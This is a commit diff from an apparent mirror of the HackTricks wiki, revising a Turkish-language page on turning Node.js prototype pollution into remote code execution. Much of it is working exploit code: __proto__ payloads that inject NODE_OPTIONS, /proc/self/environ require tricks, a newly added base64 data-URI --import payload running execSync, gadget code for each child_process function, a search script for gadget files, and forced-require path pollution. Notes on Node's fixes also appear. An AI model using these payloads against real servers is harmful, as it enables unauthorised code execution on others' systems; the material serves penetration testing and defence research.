mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
3729359b9c
commit
e40dd79a3f
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE**, **Prototype Pollution to RCE** (Uzak Kod Çalıştırma) anlamına gelir.
|
||||
|
||||
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirlenme aracı**dır:
|
||||
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirletme aracı**dır:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -66,10 +66,10 @@ Kodunuzu kontrol edin, **`envPairs`**'i **kirleterek** **`.env`** niteliğini **
|
||||
### **`__proto__`'yu Zehirleme**
|
||||
|
||||
> [!WARNING]
|
||||
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir şeyin çağrılması durumunda süreç için **yeni bir env değişkeni ayarlamak** için sadece **herhangi bir şeyi kirletmeniz** gerekir.\
|
||||
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir süreç için **yeni bir env değişkeni ayarlamak** amacıyla bir şey çağrıldığında, sadece **herhangi bir şeyi kirletmeniz** yeterlidir.\
|
||||
> Örneğin, `__proto__.avar="valuevar"` yaparsanız, süreç `avar` adında ve değeri `valuevar` olan bir değişkenle başlatılacaktır.
|
||||
>
|
||||
> Ancak, **env değişkeninin ilk** olması için **`.env` niteliğini** **kirletmeniz** gerekir ve (sadece bazı yöntemlerde) o değişken **ilk** olacak (saldırıya izin verecek).
|
||||
> Ancak, **env değişkeninin ilk** olması için **`.env` niteliğini** **kirletmeniz** gerekir ve (sadece bazı yöntemlerde) o değişken **ilk** olacaktır (saldırıya izin verir).
|
||||
>
|
||||
> Bu nedenle, aşağıdaki saldırıda **`NODE_OPTIONS`** **`.env`** içinde **değildir**.
|
||||
```javascript
|
||||
@ -120,7 +120,7 @@ clone(USERINPUT)
|
||||
var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec2
|
||||
```
|
||||
## PP2RCE env vars + cmdline aracılığıyla
|
||||
## PP2RCE env değişkenleri + cmdline aracılığıyla
|
||||
|
||||
Öncekiyle benzer bir yük, bazı değişikliklerle [**bu yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)** önerilmiştir.** Ana farklar şunlardır:
|
||||
|
||||
@ -149,6 +149,47 @@ clone(USERINPUT)
|
||||
var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||
|
||||
> [!NOTE]
|
||||
> **Node.js 19**'dan itibaren CLI bayrağı `--import`, `--require` gibi `NODE_OPTIONS` üzerinden geçirilebilir. `--require`'dan farklı olarak, `--import` **data-URI'lerini** anlar, bu nedenle saldırganın **dosya sistemine yazma erişimine** ihtiyacı yoktur. Bu, aracı kilitlenmiş veya yalnızca okunabilir ortamlarda çok daha güvenilir hale getirir.
|
||||
>
|
||||
> Bu teknik, Mayıs 2023'te PortSwigger araştırması tarafından ilk kez kamuya belgelenmiş ve o zamandan beri birkaç CTF yarışmasında yeniden üretilmiştir.
|
||||
|
||||
Saldırı, yukarıda gösterilen `--require /proc/self/*` numaralarına kavramsal olarak aynıdır, ancak bir dosyaya işaret etmek yerine yükü doğrudan base64 kodlu bir `data:` URL'sine gömüyoruz:
|
||||
```javascript
|
||||
const { fork } = require("child_process")
|
||||
|
||||
// Manual pollution
|
||||
b = {}
|
||||
|
||||
// Javascript that is executed once Node parses the import URL
|
||||
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||
|
||||
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||
// any key that will force spawn (fork) – same as earlier examples
|
||||
fork("./a_file.js");
|
||||
```
|
||||
Sayfanın üst kısmında gösterilen savunmasız merge/clone sink'ini istismar etmek:
|
||||
```javascript
|
||||
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||
clone(USERINPUT);
|
||||
|
||||
// Gadget trigger
|
||||
fork("./a_file.js");
|
||||
// → creates /tmp/pp2rce_import
|
||||
```
|
||||
### Neden `--import` yardımcı olur
|
||||
1. **Disk etkileşimi yok** – yük tamamen işlem komut satırı ve ortamı içinde yol alır.
|
||||
2. **Sadece ESM ortamlarında çalışır** – `--import`, modern Node sürümlerinde ECMAScript Modüllerine varsayılan olarak JavaScript'i önceden yüklemenin kanonik yoludur.
|
||||
3. **Bazı `--require` izin listelerini atlar** – birkaç sertleştirme kütüphanesi yalnızca `--require`'ı filtreler, `--import`'ı dokunulmaz bırakır.
|
||||
|
||||
> [!WARNING]
|
||||
> `NODE_OPTIONS` içindeki `--import` desteği en son **Node 22.2.0**'da (Haziran 2025) hala mevcuttur. Node çekirdek ekibi gelecekte veri-URI'lerini kısıtlama konusunda tartışıyor, ancak yazma anında herhangi bir hafifletme mevcut değildir.
|
||||
|
||||
---
|
||||
|
||||
## DNS Etkileşimi
|
||||
|
||||
Aşağıdaki yükleri kullanarak daha önce tartıştığımız NODE_OPTIONS ortam değişkenini kötüye kullanmak ve bunun bir DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:
|
||||
@ -171,9 +212,9 @@ Ya da, WAF'ların alan adı istemesini önlemek için:
|
||||
}
|
||||
}
|
||||
```
|
||||
## PP2RCE zafiyeti child_process fonksiyonları
|
||||
## PP2RCE vuln child_process functions
|
||||
|
||||
Bu bölümde **`child_process`'ten her bir fonksiyonu** analiz edeceğiz ve bu fonksiyonu kod çalıştırmaya zorlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
|
||||
Bu bölümde **`child_process`'ten her bir fonksiyonu** analiz edeceğiz ve bu fonksiyonun kodu çalıştırmasını sağlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:
|
||||
|
||||
<details>
|
||||
|
||||
@ -228,7 +269,7 @@ var proc = execFile("/usr/bin/node")
|
||||
// Windows - not working
|
||||
```
|
||||
**`execFile`**'ın çalışması için **mutlaka node**'u çalıştırması **GEREKİR**.\
|
||||
Eğer **node**'u çalıştırmıyorsa, çalıştırdığı şeyi **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
|
||||
Eğer **node**'u çalıştırmıyorsa, çalıştırdığı şeyi **çevresel değişkenlerle** **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
|
||||
|
||||
**Diğer** teknikler bu gereklilik olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılan şeyi kirletemezsiniz).
|
||||
|
||||
@ -323,7 +364,7 @@ var proc = spawn("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFileSync</code> istismar</strong></summary>
|
||||
<summary><strong><code>execFileSync</code> istismarı</strong></summary>
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
@ -461,9 +502,9 @@ var proc = spawnSync("something")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Spawn'ı Zorlamak
|
||||
## Zorla Spawn
|
||||
|
||||
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl yapacağınızı gördünüz; bir işlevselliğin **`spawn`**'ı **çağırması** gerekir (bir şeyi çalıştırmak için kullanılan **`child_process`**'in tüm yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
|
||||
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl gerçekleştireceğinizi gördünüz; bir işlevin **`spawn`** çağırması için **mevcut** olması gerekir (bir şeyi çalıştırmak için kullanılan tüm **`child_process`** yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
|
||||
|
||||
### Bir require dosya yolunu kontrol etme
|
||||
|
||||
@ -474,7 +515,7 @@ Bu [**diğer yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
- **Aşağıda daha fazla dosya bulun**
|
||||
|
||||
Aşağıdaki basit betik, **fonksiyonlar içindeki çağrıları göstermemek için** (herhangi bir padding olmadan) **child_process**'ten **çağrıları** arayacaktır:
|
||||
Aşağıdaki basit betik, **child_process**'ten **çağrıları** **herhangi bir padding olmadan** arayacaktır (fonksiyonlar içindeki çağrıları göstermemek için):
|
||||
```bash
|
||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||
@ -502,14 +543,14 @@ done
|
||||
> [!WARNING]
|
||||
> **Önceki teknik**, **kullanıcının** **require edilecek dosyanın yolunu kontrol etmesini gerektirir**. Ancak bu her zaman doğru değildir.
|
||||
|
||||
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yol üzerinde kontrolünüz olmasa bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yol zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
|
||||
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yolu kontrol etmiyorsanız bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yolu zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
|
||||
|
||||
Bu nedenle, eğer prototip kirlenmesinden sonra bir require işlemi gerçekleştirilirse ve hiçbir spawn fonksiyonu yoksa, bu saldırıdır:
|
||||
|
||||
- **Sistem içinde** **require edildiğinde `child_process` kullanarak bir şey çalıştıracak bir `.js` dosyası bulun**
|
||||
- Eğer saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
|
||||
- `.js` dosyasının require yüklemesini **zorlamak için yolları kirletin** ve child_process ile bir şey çalıştıracak dosyayı yükleyin
|
||||
- Bir child_process yürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için **çevre/cmdline'ı kirletin** (ilk tekniklere bakın)
|
||||
- Saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
|
||||
- `.js` dosyasının require yüklemesini **zorlamak için yolları kirletin** ve bu dosya `child_process` ile bir şey çalıştıracaktır
|
||||
- Bir `child_process` yürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için **çevre/cmdline'ı kirletin** (ilk tekniklere bakın)
|
||||
|
||||
#### Mutlak require
|
||||
|
||||
@ -636,7 +677,7 @@ fork("/path/to/anything")
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
#### Göreceli gereksinim - 3
|
||||
#### Relative require - 3
|
||||
|
||||
Öncekine benzer şekilde, bu [**bu yazıda**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) bulundu.
|
||||
```javascript
|
||||
@ -658,30 +699,36 @@ NODE_OPTIONS: "--require=/proc/self/environ",
|
||||
|
||||
require("./usage.js")
|
||||
```
|
||||
## VM Gadgetleri
|
||||
## VM Gadgets
|
||||
|
||||
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) bazı **`vm`** kütüphanesinin yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği belirtilmiştir.\
|
||||
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) **`vm`** kütüphanesinin bazı yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği de belirtilmiştir.\
|
||||
Ancak, önceki **`child_process`** yöntemleri gibi, en son sürümlerde **düzeltilmiştir**.
|
||||
|
||||
## Düzeltmeler & Beklenmedik korumalar
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
Lütfen, prototip kirlenmesinin, erişilen bir nesnenin **özelliği** **undefined** olduğunda çalıştığını unutmayın. Eğer **kodda** bu **özellik** bir **değer** ile **ayarlanmışsa**, onu **üstüne yazamazsınız**.
|
||||
Lütfen, prototip kirletmenin, erişilen bir nesnenin **özelliği** **undefined** olduğunda çalıştığını unutmayın. Eğer **kodda** bu **özellik** bir **değer** ile **ayarlanmışsa**, onu **üzerine yazamazsınız**.
|
||||
|
||||
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirlenmesinin** **`options`** özelliklerini etkilemesini engellemektedir ve RCE elde etmek için kullanılmamaktadır.\
|
||||
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri **etkilememektedir** (eğer `options` kullanılmıyorsa!).
|
||||
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirletmenin** **`options`** özelliklerini etkilemesini engeller ve RCE elde etmeyi zorlaştırır.\
|
||||
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri etkilememektedir (eğer `options` kullanılmıyorsa!).
|
||||
|
||||
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) vm kütüphanesindeki **`contextExtensions`** için **prototip kirlenmesi** de **bir şekilde düzeltilmiştir**; seçenekler **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
|
||||
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **`contextExtensions`**'ın **prototip kirletmesi** vm kütüphanesinden **bir tür düzeltilmiştir**; `options` **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
|
||||
|
||||
### **Diğer Gadgetler**
|
||||
> [!INFO]
|
||||
> **Node 20 (Nisan 2023) & Node 22 (Nisan 2025)** daha fazla güçlendirme ile geldi: birkaç `child_process` yardımcı programı artık kullanıcı tarafından sağlanan `options`'ı **`CopyOptions()`** ile kopyalamaktadır, referansla kullanmak yerine. Bu, `stdio` gibi iç içe nesnelerin kirletilmesini engeller, ancak yukarıda açıklanan **`NODE_OPTIONS` / `--import` hilelerine** karşı koruma sağlamaz – bu bayraklar hala ortam değişkenleri aracılığıyla kabul edilmektedir.
|
||||
> Tam bir düzeltme, hangi CLI bayraklarının ana süreçten yayılabileceğini kısıtlamalıdır; bu, Node Issue #50559'da takip edilmektedir.
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user